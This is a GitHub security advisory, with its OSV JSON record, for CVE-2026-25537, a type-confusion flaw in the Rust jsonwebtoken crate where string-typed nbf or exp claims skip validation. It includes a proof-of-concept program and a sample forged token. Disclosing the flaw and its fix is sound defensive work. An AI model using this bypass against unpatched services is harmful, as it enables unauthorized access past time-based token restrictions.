GHSA-H395-GR6Q-CPJC
Vulnerability from github – Published: 2026-02-03 18:47 – Updated: 2026-02-05 00:34Summary:
It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.
When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.
This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.
Details:
The vulnerability stems from the interaction between the TryParse enum and the validate function in src/validation.rs.
- The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:
enum TryParse<T> {
Parsed(T),
FailedToParse, // Set when deserialization fails (e.g. type mismatch)
NotPresent,
}
If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.
- The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this:
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {
return Err(new_error(ErrorKind::ImmatureSignature));
}
This matches! macro explicitly looks for TryParse::Parsed(nbf).
• If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned. 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:
// Lines 259-267
for required_claim in &options.required_spec_claims {
let present = match required_claim.as_str() {
"nbf" => matches!(claims.nbf, TryParse::Parsed(_)),
// ...
};
if !present { return Err(...); }
}
If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.
However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.
Environment:
• Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2
POC:
For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.
create a new project:
cargo new nbf_poc; cd nbf_poc
add required dependencies:
cargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_json
replace the code in src/main.rs with this:
use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct Claims {
sub: String,
nbf: String, // Attacker sends nbf as a String
exp: usize,
}
fn main() {
let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";
// nbf is a String "99999999999" (Far future)
// Real nbf should be a Number.
let my_claims: Claims = Claims {
sub: "krishna".to_string(),
nbf: "99999999999".to_string(),
exp: 10000000000,
};
let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
println!("Forged Token: {}", token);
// 2. Configure Validation
let mut validation: Validation = Validation::new(Algorithm::HS256);
validation.validate_nbf = true; // Enable NBF check
// We do NOT add "nbf" to required_spec_claims (default behavior)
// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
// The library sees the raw JSON with string "nbf".
let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
&token,
&DecodingKey::from_secret(key),
&validation
);
match result {
Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
Err(e) => println!("Token rejected. Error: {:?}", e),
}
}
run cargo run
expected behaviour:
Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk
Token was accepted despite malformed far-future 'nbf'! Impact:
If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).
By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.
and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "jsonwebtoken"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25537"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T18:47:40Z",
"nvd_published_at": "2026-02-04T22:15:59Z",
"severity": "MODERATE"
},
"details": "## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library\u2019s internal parsing mechanism marks the claim as \u201cFailedToParse\u201d. Crucially, the validation logic treats this \u201cFailedToParse\u201d state identically to \u201cNotPresent\u201d.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like \u201cNot Before\u201d checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse\u003cT\u003e {\n Parsed(T),\n FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n NotPresent,\n}\n```\nIf a user sends {\u201cnbf\u201d: \u201c99999999999\u201d} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf \u0026\u0026 nbf \u003e now + options.leeway) {\n return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n \u2022 If claims.nbf is FailedToParse, the match returns false.\n \u2022 The if block is skipped.\n \u2022 No error is returned.\n 1. The \u201cRequired Claims\u201d Gap: The only fallback mechanism is the \u201cRequired Claims\u201d check:\n```\n// Lines 259-267\nfor required_claim in \u0026options.required_spec_claims {\n let present = match required_claim.as_str() {\n \"nbf\" =\u003e matches!(claims.nbf, TryParse::Parsed(_)),\n // ...\n };\n if !present { return Err(...); }\n}\n```\nIf \u201cnbf\u201d IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim\u2019s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n \u2022 Version: jsonwebtoken 10.2.0\n \u2022 Rust Version: rustc 1.90.0\n \u2022 Cargo Version: cargo 1.90.0\n \u2022 OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n sub: String,\n nbf: String, // Attacker sends nbf as a String\n exp: usize,\n}\nfn main() {\n let key: \u0026[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n // nbf is a String \"99999999999\" (Far future)\n // Real nbf should be a Number.\n let my_claims: Claims = Claims {\n sub: \"krishna\".to_string(),\n nbf: \"99999999999\".to_string(), \n exp: 10000000000, \n };\n\n let token: String = encode(\u0026Header::default(), \u0026my_claims, \u0026EncodingKey::from_secret(key)).unwrap();\n println!(\"Forged Token: {}\", token);\n\n // 2. Configure Validation\n let mut validation: Validation = Validation::new(Algorithm::HS256);\n validation.validate_nbf = true; // Enable NBF check\n\n // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n // The library sees the raw JSON with string \"nbf\".\n let result: Result\u003cjsonwebtoken::TokenData\u003cserde_json::Value\u003e, jsonwebtoken::errors::Error\u003e = decode::\u003cserde_json::Value\u003e(\n \u0026token, \n \u0026DecodingKey::from_secret(key), \n \u0026validation\n );\n\n match result {\n Ok(_) =\u003e println!(\"Token was accepted despite malformed far-future \u0027nbf\u0027!\"),\n Err(e) =\u003e println!(\"Token rejected. Error: {:?}\", e),\n }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future \u0027nbf\u0027!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like \u201cAccess granted starting tomorrow\u201d).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., \u201cnever\u201d) and bypass expiration checks entirely. The token becomes valid forever.",
"id": "GHSA-h395-gr6q-cpjc",
"modified": "2026-02-05T00:34:49Z",
"published": "2026-02-03T18:47:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25537"
},
{
"type": "WEB",
"url": "https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"
},
{
"type": "PACKAGE",
"url": "https://github.com/Keats/jsonwebtoken"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "jsonwebtoken has Type Confusion that leads to potential authorization bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.